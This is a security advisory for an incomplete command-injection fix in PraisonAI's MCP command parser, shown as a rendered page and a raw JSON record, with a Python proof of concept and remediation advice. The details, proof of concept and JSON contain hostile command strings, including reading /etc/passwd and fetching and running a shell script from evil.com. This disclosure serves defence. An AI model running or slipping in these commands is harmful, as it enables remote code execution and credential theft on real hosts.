PYSEC-2026-473

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

  • Ecosystem: PyPI
  • Package: MervinPraison/PraisonAI
  • Affected versions: < 47bff65413be
  • Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.

PoC

 #!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()

Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.

Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""

import sys
import os
import importlib.util

# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit
MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py"

def load_mcp_handler():
    """Load the real MCPHandler class from the vulnerable source."""
    base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py"

    spec_base = importlib.util.spec_from_file_location("features_base", base_path)
    mod_base = importlib.util.module_from_spec(spec_base)
    sys.modules["features_base"] = mod_base

    with open(MCP_PATH) as f:
        source = f.read()

    source = source.replace("from .base import FlagHandler", """
class FlagHandler:
    def print_status(self, msg, level="info"):
        print(f"[{level}] {msg}")
""")

    ns = {"__name__": "mcp_module", "__file__": MCP_PATH}
    exec(compile(source, MCP_PATH, "exec"), ns)
    return ns["MCPHandler"]


def main():
    MCPHandler = load_mcp_handler()
    handler = MCPHandler()

    print(f"Source file: {MCP_PATH}")
    print(f"Loaded MCPHandler from real PraisonAI source")
    print()

    malicious_commands = [
        "python -c 'import os; os.system(\"id\")'",
        "node -e 'require(\"child_process\").execSync(\"whoami\")'",
        "bash -c 'cat /etc/passwd'",
        "/bin/sh -c 'wget http://evil.com/shell.sh | sh'",
    ]

    print(" Testing parse_mcp_command with malicious inputs:")
    print()

    all_accepted = True
    for cmd_str in malicious_commands:
        try:
            cmd, args, env = handler.parse_mcp_command(cmd_str)
            print(f"  Input:   {cmd_str}")
            print(f"  Command: {cmd}")
            print(f"  Args:    {args}")
            print(f"  Result:  ACCEPTED (no validation)")
            print()
        except Exception as e:
            print(f"  Input:   {cmd_str}")
            print(f"  Result:  REJECTED ({e})")
            all_accepted = False
            print()

    if all_accepted:
        print("ALL malicious commands accepted without validation!")
        print()

        with open(MCP_PATH) as f:
            source = f.read()

        has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower()
        has_basename_check = "os.path.basename" in source
        has_validation = has_allowlist or has_basename_check

        print(f"Has command allowlist: {has_allowlist}")
        print(f" Has basename check: {has_basename_check}")
        print(f"Has any command validation: {has_validation}")
        print()

        if not has_validation:
            print("COMMAND INJECTION: parse_mcp_command() has NO command validation!")
            print("  - No allowlist of permitted executables")
            print("  - No argument inspection")
            print("  - Arbitrary commands passed directly to subprocess execution")
            print()
            print("VULNERABILITY CONFIRMED")
            sys.exit(0)

    print("Some commands were rejected - validation present")
    sys.exit(1)


if __name__ == "__main__":
    main()

Steps to reproduce: 1. git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real 2. cd /tmp/praisonai_real && git checkout 47bff654~1 3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.

Impact

An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.

Suggested Remediation

Implement a strict allowlist of permitted executables (e.g., npx, uvx, node, python) in parse_mcp_command(). Validate commands against os.path.basename() to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., -c, -e flags enabling inline code execution).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Impacted products
Name purl
praisonai pkg:pypi/praisonai
Aliases
To clipboard 

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          "events": [
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  ],
  "aliases": [
    "CVE-2026-41497",
    "GHSA-9qhq-v63v-fv3j"
  ],
  "details": "### Summary\n\nThe fix for PraisonAI\u0027s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** \u003c 47bff65413be\n - **Patched versions:** \u003e= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c \u0027import os; os.system(\"id\")\u0027`, `bash -c \u0027cat /etc/passwd\u0027`, and `/bin/sh -c \u0027wget http://evil.com/shell.sh | sh\u0027` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n #!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n    \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n    base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n    spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n    mod_base = importlib.util.module_from_spec(spec_base)\n    sys.modules[\"features_base\"] = mod_base\n\n    with open(MCP_PATH) as f:\n        source = f.read()\n\n    source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n    def print_status(self, msg, level=\"info\"):\n        print(f\"[{level}] {msg}\")\n\"\"\")\n\n    ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n    exec(compile(source, MCP_PATH, \"exec\"), ns)\n    return ns[\"MCPHandler\"]\n\n\ndef main():\n    MCPHandler = load_mcp_handler()\n    handler = MCPHandler()\n\n    print(f\"Source file: {MCP_PATH}\")\n    print(f\"Loaded MCPHandler from real PraisonAI source\")\n    print()\n\n    malicious_commands = [\n        \"python -c \u0027import os; os.system(\\\"id\\\")\u0027\",\n        \"node -e \u0027require(\\\"child_process\\\").execSync(\\\"whoami\\\")\u0027\",\n        \"bash -c \u0027cat /etc/passwd\u0027\",\n        \"/bin/sh -c \u0027wget http://evil.com/shell.sh | sh\u0027\",\n    ]\n\n    print(\" Testing parse_mcp_command with malicious inputs:\")\n    print()\n\n    all_accepted = True\n    for cmd_str in malicious_commands:\n        try:\n            cmd, args, env = handler.parse_mcp_command(cmd_str)\n            print(f\"  Input:   {cmd_str}\")\n            print(f\"  Command: {cmd}\")\n            print(f\"  Args:    {args}\")\n            print(f\"  Result:  ACCEPTED (no validation)\")\n            print()\n        except Exception as e:\n            print(f\"  Input:   {cmd_str}\")\n            print(f\"  Result:  REJECTED ({e})\")\n            all_accepted = False\n            print()\n\n    if all_accepted:\n        print(\"ALL malicious commands accepted without validation!\")\n        print()\n\n        with open(MCP_PATH) as f:\n            source = f.read()\n\n        has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n        has_basename_check = \"os.path.basename\" in source\n        has_validation = has_allowlist or has_basename_check\n\n        print(f\"Has command allowlist: {has_allowlist}\")\n        print(f\" Has basename check: {has_basename_check}\")\n        print(f\"Has any command validation: {has_validation}\")\n        print()\n\n        if not has_validation:\n            print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n            print(\"  - No allowlist of permitted executables\")\n            print(\"  - No argument inspection\")\n            print(\"  - Arbitrary commands passed directly to subprocess execution\")\n            print()\n            print(\"VULNERABILITY CONFIRMED\")\n            sys.exit(0)\n\n    print(\"Some commands were rejected - validation present\")\n    sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real \u0026\u0026 git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n \nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).",
  "id": "PYSEC-2026-473",
  "modified": "2026-07-01T20:23:01.571013Z",
  "published": "2026-06-29T11:50:47.814161Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41497"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9qhq-v63v-fv3j"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection "
}



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